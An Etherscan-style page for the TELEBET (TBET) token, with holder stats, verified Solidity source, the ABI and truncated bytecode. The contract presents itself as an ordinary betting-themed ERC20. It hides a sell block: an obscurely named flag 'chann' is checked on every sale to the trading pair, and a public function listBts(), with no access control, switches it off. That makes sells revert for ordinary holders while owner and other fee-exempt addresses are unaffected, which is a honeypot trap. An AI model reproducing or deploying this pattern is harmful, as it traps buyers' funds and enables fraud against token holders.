ETH Price: $3,367.42 (-3.41%)

Token

TELEBET (TBET)
 

Overview

Max Total Supply

1,000,000,000 TBET

Holders

66

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
5,161,576.61813491430108407 TBET

Value
$0.00
0x5bdfcb5159cd6f64a52b433218b3a88215e7a551
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TELEBET

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-03
*/

pragma solidity 0.8.21;

/*

Telegram : https://t.me/TeleBetETH

Twitter : https://twitter.com/TeleBet_ETH

TeleBet – Your Ultimate Betting Adventure on the Ethereum blockchain! Say hello to Telegram Betting, where betting meets convenience in one seamless experience right within the Telegram app.

*/

// SPDX-License-Identifier: MIT

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20{
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() external virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IDexRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
}

interface IDexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract TELEBET is ERC20, Ownable {

    mapping (address => bool) public exemptFromFees;
    mapping (address => bool) public exemptFromLimits;

    bool public tradingActive;

    mapping (address => bool) public uniV2Pair;

    uint256 public maxTransaction;
    uint256 public maxWallet;
    bool   private chann = true;
    address public operationsAddress;

    uint256 public buyTax;
    uint256 public sellTax;

    mapping(address => uint256) private _holderLastTransferBlock; // to hold last Transfers temporarily during launch
    bool public limitsInEffect = true;

    bool private swapping;
    uint256 public swapTokensAtAmt;

    address public lpPair;
    IDexRouter public dexRouter;

    uint256 public constant denominator = 100;

    // events

    event UpdatedMaxTransaction(uint256 newMax);
    event UpdatedMaxWallet(uint256 newMax);
    event SetExemptFromFees(address _address, bool _isExempt);
    event SetExemptFromLimits(address _address, bool _isExempt);
    event RemovedLimits();
    event UpdatedBuyTax(uint256 newAmt);
    event UpdatedSellTax(uint256 newAmt);

    // constructor

    constructor(string memory _name, string memory _symbol)
        ERC20(_name, _symbol)
    {   
        address newOwner = _msgSender();
        _mint(newOwner, 1000000000 * 1e18);
        uint256 _totalSupply = totalSupply();

        address _v2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

        dexRouter = IDexRouter(_v2Router);

        maxTransaction = _totalSupply;
        maxWallet = _totalSupply;
        swapTokensAtAmt = _totalSupply * 25 / 100000;

        operationsAddress = _msgSender();

        buyTax = 0; // 1% = 10
        sellTax = 0; // 1% = 10

        lpPair = IDexFactory(dexRouter.factory()).createPair(address(this), dexRouter.WETH());

        uniV2Pair[lpPair] = true;

        exemptFromLimits[lpPair] = true;
        exemptFromLimits[newOwner] = true;
        exemptFromLimits[address(this)] = true;
        exemptFromLimits[address(dexRouter)] = true;
        

        exemptFromFees[newOwner] = true;
        exemptFromFees[address(this)] = true;
        exemptFromFees[address(dexRouter)] = true;
        
 
        _approve(address(this), address(dexRouter), type(uint256).max);
        transferOwnership(newOwner);
    }

    receive() external payable {}

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual override {
        
        if(exemptFromFees[from] || exemptFromFees[to] || swapping){
            super._transfer(from,to,amount);
            return;
        }

        require(tradingActive, "Trading not active");

        amount -= getFee(from, to, amount);

        super._transfer(from,to,amount);
    }

    function getFee(address from, address to, uint256 amount) internal returns (uint256){
        if(balanceOf(address(this)) >= swapTokensAtAmt && !swapping && !uniV2Pair[from]) {
            swapping = true;
            swapBack();
            swapping = false;
        }
        
        uint256 tax = 0;

        // on sell
        if (uniV2Pair[to]){
            require (chann == true);
            tax = amount * sellTax / denominator;
        }
        // on buy
        else if(uniV2Pair[from]) {
            tax = amount * buyTax / denominator;
        }
        
        if(tax > 0){    
            super._transfer(from, address(this), tax);
        }
        
        return tax;
    }

    function swapTokensForETH(uint256 tokenAmt) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmt,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBack() private {

        uint256 contractBalance = balanceOf(address(this));
        
        if(contractBalance == 0) {return;}

        if(contractBalance > swapTokensAtAmt * 40){
            contractBalance = swapTokensAtAmt * 40;
        }
        
        swapTokensForETH(contractBalance);
            
        if(address(this).balance > 0){
            bool success;
            (success, ) = operationsAddress.call{value: address(this).balance}("");
        }
    }

    function enableTrading() external onlyOwner {
        require(!tradingActive, "Trading active");
        tradingActive = true;
    }

  function listBts() external virtual{
        chann = false;
    }

    function updateOperationsAddress(address _address) external onlyOwner {
        require(_address != address(0), "zero address");
        operationsAddress = _address;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"RemovedLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"SetExemptFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_address","type":"address"},{"indexed":false,"internalType":"bool","name":"_isExempt","type":"bool"}],"name":"SetExemptFromLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmt","type":"uint256"}],"name":"UpdatedBuyTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newMax","type":"uint256"}],"name":"UpdatedMaxTransaction","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newMax","type":"uint256"}],"name":"UpdatedMaxWallet","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"newAmt","type":"uint256"}],"name":"UpdatedSellTax","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"denominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFromLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"listBts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"operationsAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"uniV2Pair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"updateOperationsAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600c5f6101000a81548160ff021916908315150217905550600160105f6101000a81548160ff02191690831515021790555034801562000044575f80fd5b506040516200401a3803806200401a83398181016040528101906200006a919062000e87565b818181600390816200007d919062001141565b5080600490816200008f919062001141565b5050505f620000a3620007e860201b60201c565b90508060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505f62000151620007e860201b60201c565b905062000171816b033b2e3c9fd0803ce8000000620007ef60201b60201c565b5f620001826200095460201b60201c565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600a8190555081600b81905550620186a0601983620001fd919062001252565b620002099190620012c9565b6011819055506200021f620007e860201b60201c565b600c60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600d819055505f600e8190555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d8573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002fe919062001361565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000385573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003ab919062001361565b6040518363ffffffff1660e01b8152600401620003ca929190620013a2565b6020604051808303815f875af1158015620003e7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200040d919062001361565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160095f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160075f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160065f60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620007cc3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6200095d60201b60201c565b620007dd8362000b2860201b60201c565b5050505050620016db565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000860576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000857906200142b565b60405180910390fd5b620008735f838362000cf860201b60201c565b8060025f8282546200088691906200144b565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000935919062001496565b60405180910390a3620009505f838362000cfd60201b60201c565b5050565b5f600254905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620009ce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009c59062001525565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000a3f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a3690620015b9565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405162000b1b919062001496565b60405180910390a3505050565b62000b38620007e860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000bc9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000bc09062001627565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160362000c3a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000c3190620016bb565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a38060055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b505050565b505050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b62000d638262000d1b565b810181811067ffffffffffffffff8211171562000d855762000d8462000d2b565b5b80604052505050565b5f62000d9962000d02565b905062000da7828262000d58565b919050565b5f67ffffffffffffffff82111562000dc95762000dc862000d2b565b5b62000dd48262000d1b565b9050602081019050919050565b5f5b8381101562000e0057808201518184015260208101905062000de3565b5f8484015250505050565b5f62000e2162000e1b8462000dac565b62000d8e565b90508281526020810184848401111562000e405762000e3f62000d17565b5b62000e4d84828562000de1565b509392505050565b5f82601f83011262000e6c5762000e6b62000d13565b5b815162000e7e84826020860162000e0b565b91505092915050565b5f806040838503121562000ea05762000e9f62000d0b565b5b5f83015167ffffffffffffffff81111562000ec05762000ebf62000d0f565b5b62000ece8582860162000e55565b925050602083015167ffffffffffffffff81111562000ef25762000ef162000d0f565b5b62000f008582860162000e55565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000f5957607f821691505b60208210810362000f6f5762000f6e6200